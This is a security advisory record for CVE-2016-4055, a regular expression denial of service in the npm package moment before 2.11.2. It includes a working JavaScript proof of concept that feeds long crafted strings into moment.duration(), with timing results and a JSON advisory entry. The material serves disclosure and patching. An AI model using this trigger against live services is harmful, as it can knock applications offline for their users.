ghsa-87vv-r9j6-g5qv
Vulnerability from github
Versions of moment
prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration()
.
Proof of concept
``` var moment = require('moment');
var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }
return result;
}
for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str)
var end = process.hrtime(start);
console.log(end);
} ```
Results
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.
{ "affected": [ { "package": { "ecosystem": "npm", "name": "moment" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.11.2" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2016-4055" ], "database_specific": { "cwe_ids": [ "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2020-06-16T21:24:44Z", "nvd_published_at": "2017-01-23T21:59:00Z", "severity": "MODERATE" }, "details": "Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.\n\n\n## Proof of concept\n```\nvar moment = require(\u0027moment\u0027);\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i\u003c=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=20000;i\u003c=10000000;i=i+10000) {\n console.log(\"COUNT: \" + i);\n var str = \u0027-\u0027 + genstr(i, \u00271\u0027)\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n moment.duration(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n\n## Recommendation\n\nPlease update to version 2.11.2 or later. ", "id": "GHSA-87vv-r9j6-g5qv", "modified": "2022-06-07T14:31:25Z", "published": "2017-10-24T18:33:35Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4055" }, { "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-87vv-r9j6-g5qv" }, { "type": "PACKAGE", "url": "https://github.com/moment/moment" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E" }, { "type": "WEB", "url": "https://www.npmjs.com/advisories/55" }, { "type": "WEB", "url": "https://www.tenable.com/security/tns-2019-02" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2016/04/20/11" }, { "type": "WEB", "url": "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/95849" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "Regular Expression Denial of Service in moment" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.